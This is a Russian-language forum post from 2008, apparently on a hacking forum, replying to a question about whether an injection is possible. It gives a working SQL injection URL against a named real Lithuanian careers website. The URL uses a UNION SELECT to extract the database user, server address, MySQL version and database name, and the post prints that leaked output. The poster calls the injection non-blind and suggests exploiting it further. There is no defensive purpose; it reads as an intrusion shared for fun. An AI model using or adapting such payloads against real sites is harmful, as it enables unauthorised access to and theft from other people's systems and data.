05.09.2008, 18:21
|
|
Познающий
Регистрация: 30.10.2007
Сообщений: 63
С нами:
9753247
Репутация:
59
|
|
Сообщение от tor4)
Возможно ли провести иньекцию.
Возможно! (Чуть не написал "легко", нифига не так просто.  )
Код:
http://www.karjeroscentras.lt/lt.php/ieskantiems_darbo/darbo_skelbimai/darbo_skelbimai/347;f_ctitle;123'%20and%201=2%20union%20select%201,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8%23
karjeroscentras@195.14.170.12:4.0.18:karjeroscentr as
Можно пытаться раскручивать дальше. Иньекция не слепая, показывает запрос и количество полей, короче, время провёл не зря. (Даже не подозревал, что так могу. )
Если отдельные моменты будут непонятны - могу расписать, правда, не факт, что появлюсь тут до понедельника.
В любом случае, большое спасибо за увлекательную задачу.
|
|
|